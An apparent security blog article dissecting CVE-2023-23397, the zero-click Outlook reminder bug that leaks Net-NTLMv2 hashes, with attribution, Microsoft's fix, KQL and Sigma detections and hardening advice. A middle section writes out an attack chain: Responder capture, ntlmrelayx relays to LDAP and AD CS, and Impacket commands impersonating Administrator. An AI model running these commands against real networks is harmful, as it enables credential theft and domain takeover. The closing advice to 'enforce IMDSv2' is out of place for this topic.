TL;DR — CVE-2023-23397 is a zero-click Microsoft Outlook elevation-of-privilege bug. A crafted calendar appointment (or task/email) with a reminder pointing at a UNC path forced the victim's machine to authenticate to an attacker-controlled SMB server, leaking a Net-NTLMv2 hash before the victim even opened the message. That hash could be relayed or cracked. Attributed to a Russian state actor (APT28 / Forest Blizzard), it was patched in March 2023. This article dissects the abused MAPI property, the relay path, and Microsoft's layered fix.
Executive Summary
The scariest vulnerabilities are the ones that require nothing from the victim. CVE-2023-23397 is exactly that: zero-click. The attacker sends a perfectly ordinary-looking Outlook calendar invite. Outlook processes the reminder for that appointment automatically — as it does for every appointment — and in doing so reaches out to a file path the attacker specified. When that path is a UNC path (\\attacker-server\share\sound.wav) pointing at the attacker's SMB server, Windows helpfully authenticates, handing over the victim's Net-NTLMv2 authentication material.
No link is clicked. No attachment is opened. The reminder fires, the machine authenticates, and the attacker captures a credential they can relay onward or crack offline. The bug abuses a legitimate, decades-old Outlook feature (custom reminder sounds) combined with Windows' automatic NTLM authentication behaviour. It is a near-perfect case study in how feature + protocol combine into a vulnerability that neither piece exhibits alone.
Background: NTLM and the Hash That Leaks
Windows networking still widely supports NTLM authentication. When a Windows client connects to an SMB share, it will, by default, attempt to authenticate using the logged-in user's credentials via an NTLM challenge-response handshake. The client never sends the password — it sends a Net-NTLMv2 response, which is a value derived from the NT hash and a server-supplied challenge.
sequenceDiagram
participant C as Victim (Outlook host)
participant S as Attacker SMB server
C->>S: SMB negotiate / connect to \\attacker\share
S-->>C: NTLM challenge (nonce)
C->>S: Net-NTLMv2 response (derived from NT hash)
Note over S: Attacker now holds Net-NTLMv2 → relay or crackTwo things an attacker can do with a captured Net-NTLMv2 response:
- Crack it offline. Net-NTLMv2 is a hash that can be fed to Hashcat/John. If the user's password is weak, it falls.
- Relay it (NTLM relay). Far more dangerous: forward the authentication, in real time, to another service that accepts NTLM (LDAP, SMB, AD CS web enrolment) and authenticate to that service as the victim — without ever knowing the password.
The leak of a Net-NTLMv2 response is therefore not a minor information disclosure; it is a potential foothold for impersonation.
The Vulnerability: A Reminder That Phones Home
Outlook appointments support a custom reminder sound. Internally this is stored in an extended MAPI property:
PidLidReminderFileParameter → the path to the reminder's sound filePidLidReminderOverrideDefault → use the custom sound instead of the defaultThe flaw: Outlook did not restrict PidLidReminderFileParameter to local files. An attacker could set it to a UNC path on a remote SMB server:
PidLidReminderFileParameter = \\10.10.10.10\share\evil.wavPidLidReminderOverrideDefault = trueWhen the appointment's reminder triggers — which Outlook does automatically, in the background, as part of normal reminder processing — Outlook attempts to retrieve that sound file. Reaching a UNC path means an SMB connection, which means automatic NTLM authentication, which means the victim's Net-NTLMv2 response is sent straight to the attacker's server.
flowchart TD
A["Attacker sends crafted<br/>calendar invite/task"] --> B["PidLidReminderFileParameter<br/>= \\attacker\share\x.wav"]
B --> C["Outlook processes reminder<br/>AUTOMATICALLY (zero-click)"]
C --> D["Windows connects to UNC<br/>→ SMB to attacker"]
D --> E["Automatic NTLM auth<br/>leaks Net-NTLMv2"]
E --> F{"Attacker action"}
F -->|Relay| G["Authenticate as victim<br/>to LDAP / SMB / AD CS"]
F -->|Crack| H["Offline password recovery"]
style C fill:#1a230c,stroke:#fca311,color:#fef3c7
style E fill:#2a0c14,stroke:#ef233c,color:#fee2e2Why "zero-click" is literal here
For most phishing, the victim must do something — click a link, enable macros, open an attachment. CVE-2023-23397 needs none of that. The reminder is processed by Outlook on a timer, in the background. Setting the reminder time in the past can even cause it to trigger essentially immediately upon receipt. The victim may never consciously see the malicious appointment at all. That is what made this bug a prized tool for an espionage actor: it is silent, reliable, and requires no user error.
Real-World Use: APT28 / Forest Blizzard
Microsoft and CERT-UA reported that the vulnerability was exploited in the wild before the patch, attributed to a Russia-linked military intelligence actor (variously APT28 / Fancy Bear / Forest Blizzard / STRONTIUM). Targets included government, military, energy, and transportation organisations, particularly in Europe. The actor used the leaked credentials for lateral movement and persistence inside victim networks — a textbook initial-access-to-credential-theft operation.
| Attribute | Detail |
|---|---|
| Disclosure / patch | March 2023 (Patch Tuesday) |
| Attack type | Zero-click NTLM credential leak |
| Vector | Crafted appointment/task/email via PidLidReminderFileParameter |
| Attribution | APT28 / Forest Blizzard (Russia) |
| Pre-patch exploitation | Yes — exploited as a zero-day for months |
The Relay Threat in Context
The reason a leaked Net-NTLMv2 is so dangerous in an enterprise is NTLM relay. If the victim is privileged, or the target service is sensitive, relaying the captured authentication can be devastating:
flowchart LR
A["Captured victim auth"] --> B["Relay to LDAP<br/>(no signing)"]
A --> C["Relay to SMB<br/>(no SMB signing)"]
A --> D["Relay to AD CS<br/>web enrolment (ESC8)"]
B --> E["Modify AD objects<br/>as victim"]
C --> F["Access/exec on target<br/>as victim"]
D --> G["Mint a cert for victim<br/>→ domain escalation"]
style G fill:#2a0c14,stroke:#ef233c,color:#fee2e2This is why CVE-2023-23397 is best understood not as "an Outlook bug" but as "a way to initiate authentication on demand from any targeted user" — and authentication coercion is the front half of every relay attack.
Microsoft's Layered Fix
Microsoft's remediation reflects defence in depth — they did not just patch Outlook, they hardened the surrounding behaviour:
- The Outlook patch. Outlook now calls a Windows API (
MapUrlToZone) to check the reminder path; if it resolves to anything other than a trusted local zone (i.e. a UNC/remote path), Outlook strips the custom sound and plays the default instead of fetching the remote file. This kills the automatic outbound connection. - Block outbound NTLM over SMB. Microsoft documented and provided controls to block outbound NTLM to remote servers, breaking the leak even if a trigger fired.
- Detection tooling. Microsoft released a script to scan Exchange mailboxes for messages/appointments/tasks containing a UNC
PidLidReminderFileParameter, so defenders could find both attack attempts and any pre-patch compromise retrospectively.
Why a single patch was not enough: even after Outlook stopped honouring remote reminder paths, the underlying problem — Windows readily performing outbound NTLM authentication to arbitrary servers — remained exploitable through other coercion techniques. That is why "block outbound NTLM" and "prefer Kerberos / disable NTLM where possible" are the strategic fixes, while the Outlook patch is the tactical one.
Detection
| Source | Indicator |
|---|---|
| Exchange / mailbox scan | Appointments/tasks/emails with UNC paths in PidLidReminderFileParameter (Microsoft's script) |
| Network | Outbound SMB (TCP 445) / WebDAV from user workstations to external or unexpected IPs |
| Authentication logs | NTLM authentications to unusual destinations; relayed-auth anomalies |
| Firewall | Egress 445 leaving the network at all — should almost always be blocked |
| EDR | Outlook (outlook.exe) initiating SMB connections to non-corporate hosts |
Strong, simple signal: in a healthy enterprise, outbound TCP/445 to the internet should never happen. Alerting on (and blocking) egress SMB catches this attack and a whole family of NTLM-coercion techniques in one rule.
DETECTION VALUE FOR CVE-2023-23397 Egress SMB (445) to internet ██████████ catch-all, very highMailbox PidLidReminder UNC scan █████████░ finds the lure directlyoutlook.exe → external SMB (EDR) ████████░░ highNTLM auth to odd destinations ███████░░░ highWebDAV outbound ██████░░░░ medium-high (alt path)Defence
- Patch Outlook. The March 2023 update is the direct fix; apply it everywhere, including older Outlook versions covered by the advisory.
- Block egress SMB and WebDAV. Block outbound TCP/445 (and disable the WebClient service / block WebDAV) at the network perimeter. This neutralises the credential leak regardless of trigger.
- Reduce NTLM reliance. Where possible, disable NTLM in favour of Kerberos, and enable SMB signing, LDAP signing + channel binding, and Extended Protection for Authentication so that even captured authentication cannot be relayed.
- Add privileged users to Protected Users. Members of the Protected Users group cannot use NTLM, removing the leakable credential for your highest-value accounts.
- Hunt retrospectively. Run Microsoft's scanning script against mailboxes to find both attempted lures and evidence of pre-patch exploitation.
- Enforce strong passwords. Long, random passwords make the offline-cracking fallback infeasible even if a hash leaks.
The Full NTLM Relay Chain: From Outlook to Domain Compromise
A single captured Net-NTLMv2 hash can cascade into full domain compromise when the attacker has properly staged a relay infrastructure. Understanding the complete chain — not just the initial credential leak — is essential for gauging the real severity of CVE-2023-23397 and for designing adequate defences.
flowchart TD
A["1. Attacker sends crafted calendar invite<br/>PidLidReminderFileParameter = \\attacker-ip\\share"] --> B["2. Victim's Outlook fires reminder<br/>(zero-click, may trigger immediately)"]
B --> C["3. Windows initiates NTLM handshake to attacker SMB<br/>Net-NTLMv2 response captured by Responder/Impacket"]
C --> D{"4. Attacker's choice"}
D -->|"Relay in real-time"| E["ntlmrelayx: relay to target service"]
D -->|"Offline crack"| F["hashcat -m 5600 hash.txt wordlist.txt"]
E --> G{"Target service?"}
G -->|"LDAP (no signing)"| H["Create computer account<br/>Resource-Based Constrained Delegation<br/>→ impersonate any user → Domain Admin"]
G -->|"SMB (no signing)"| I["secretsdump.py against target<br/>→ local SAM / LSA hashes"]
G -->|"AD CS (ESC8)"| J["Request cert for victim<br/>→ Kerberos auth as victim forever"]
H --> K["Domain Compromise"]
I --> K
J --> K
style C fill:#2a0c14,stroke:#ef233c,color:#fee2e2
style K fill:#2a0c14,stroke:#ef233c,color:#fee2e2Stage 1: Capturing the Hash with Responder
On attacker infrastructure, Responder listens for incoming SMB connections and performs the NTLM challenge-response exchange to capture credentials:
# Start Responder on the attacker's listening interfacesudo responder -I eth0 -v # When the victim's Outlook fires the crafted reminder, output like:# [SMB] NTLMv2-SSP Client : 10.10.10.50# [SMB] NTLMv2-SSP Username: CORP\jsmith# [SMB] NTLMv2-SSP Hash : jsmith::CORP:aad3b435b51404ee:...longbase64...Stage 2: Relay to LDAP — Resource-Based Constrained Delegation
If SMB signing is not enforced (the default in many environments), ntlmrelayx.py from Impacket can relay the captured authentication onward to LDAP and abuse RBCD to escalate from any domain user to Domain Admin:
# Relay captured NTLM auth to LDAP, add a computer account with delegation rightsntlmrelayx.py -t ldap://dc01.corp.local --no-smb-server --no-http-server \ --delegate-access --escalate-user jsmith # ntlmrelayx creates a computer account (e.g. ATTACKER$) and sets# msDS-AllowedToActOnBehalfOfOtherIdentity on the victim's computer account# allowing ATTACKER$ to impersonate any user (incl. Domain Admin) to the victim's machine # Then: getST.py (Impacket) to get a TGS as DA for the target hostgetST.py -spn cifs/targethost.corp.local -impersonate Administrator \ corp.local/ATTACKER$:Password123 -dc-ip 10.10.10.1# → .ccache ticket, import with KRB5CCNAME → psexec.py or wmiexec.py as DAStage 3: Relay to AD CS (ESC8) — Certificate-Based Persistence
If the environment has an Active Directory Certificate Services web enrollment endpoint (http://ca-server/certsrv/) accessible without signing, relaying to it is even more powerful — the attacker mints a certificate for the victim:
# Relay to AD CS web enrollment (no signing required by default)ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \ --adcs --template User # Captured output: base64-encoded .pfx certificate for victim@corp.local# Now authenticate as victim indefinitely (certs don't require knowing the password):gettgtpkinit.py -pfx-base64 <base64cert> corp.local/jsmith jsmith.ccacheKRB5CCNAME=jsmith.ccache klist # → TGT as jsmith, unlimited as long as cert validThis is why AD CS ESC8 (unauthenticated HTTP enrollment) combined with NTLM coercion from CVE-2023-23397 forms one of the most powerful attack chains in a modern Active Directory environment — the attacker gains a certificate that allows Kerberos authentication as the victim indefinitely, surviving password resets.
Detection with Microsoft Defender Signatures and KQL
Defender for Endpoint: Hunting the Lure Itself
Microsoft's PowerShell scanning script searches mailboxes, but Defender for Endpoint also generates telemetry that can be queried:
// KQL — Defender for Endpoint / Advanced Hunting// Find Outlook initiating outbound SMB connections (the coercion signal)DeviceNetworkEvents| where InitiatingProcessFileName =~ "outlook.exe"| where RemotePort in (445, 139)| where RemoteIPType != "Private" // outbound to external IPs| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessCommandLine| order by Timestamp desc// Hunt for appointments/tasks with suspicious UNC paths in the property store// (requires mailbox scan results ingested as custom logs)EmailEvents| where Subject contains "Meeting" or Subject contains "Appointment"| join EmailAttachmentInfo on NetworkMessageId| where FileType == "ics"// After extracting MAPI properties: flag UNC pattern| where tostring(AttachmentContent) matches regex @"\\\\[0-9]{1,3}\.[0-9]{1,3}"Sigma Rule — Network Connection from Outlook to External SMB
title: Outlook Initiating SMB Connection to External Host (CVE-2023-23397)id: d49b5c4f-9a3e-4f2c-a8b1-7e3c1d5f2091status: stabledescription: | Detects Outlook.exe establishing an outbound SMB connection to a non-private IP address, indicative of CVE-2023-23397 exploitation or NTLM coercion.references: - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397author: OffSecdate: 2023/04/01tags: - attack.credential_access - attack.t1187logsource: category: network_connection product: windowsdetection: selection: Image|endswith: '\OUTLOOK.EXE' DestinationPort: - 445 - 139 Initiated: 'true' filter_private: DestinationIp|cidr: - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' - '127.0.0.0/8' condition: selection and not filter_privatefalsepositives: - Outlook accessing on-premises file shares (adjust filter_private)level: highRoot-Cause Lessons
- A feature that fetches a remote resource is an authentication primitive. Any code path that will reach out to an attacker-specified path (sound files, image previews, templates, link unfurls) can be turned into credential coercion on platforms with automatic NTLM.
- Zero-click changes the threat model. Defences that assume "the user has to do something risky" do not apply. The only reliable mitigations are ones that work without user involvement — patching and network controls.
- Protocol legacy is a liability. NTLM's automatic, relayable authentication is the deep cause. The vulnerability is really "Outlook gave an attacker a convenient way to trigger NTLM," and NTLM did the damage. Retiring NTLM is the endgame.
Conclusion and Takeaways
CVE-2023-23397 is a masterclass in how a benign feature (custom reminder sounds) and a legacy protocol (NTLM's reflexive authentication) combine into a silent, zero-click credential-theft weapon — exactly the kind of capability a state-sponsored actor prizes. The victim does nothing wrong; Outlook simply does its job, reaches for a sound file on the attacker's server, and Windows authenticates on the way. As the full relay chain makes clear, the downstream impact does not stop at a captured hash: with relay infrastructure staged against LDAP (RBCD escalation) or AD CS web enrollment (ESC8 certificate minting), a single Outlook reminder can cascade to full domain compromise without the victim's password ever being known or cracked.
The tactical fix is the Outlook patch, but the strategic lessons are bigger: block outbound SMB/WebDAV at your perimeter (a control that defeats an entire family of NTLM-coercion attacks), harden against NTLM relay with signing and channel binding, enforce IMDSv2 and audit AD CS enrollment permissions so relay chains have nowhere to land, and work toward retiring NTLM in favour of Kerberos and modern authentication. Treat any feature that fetches attacker-influenceable remote paths as a credential-coercion risk, and assume that on a Windows network, the difference between "leaked a hash" and "compromised the domain" is only an unsigned relay target away.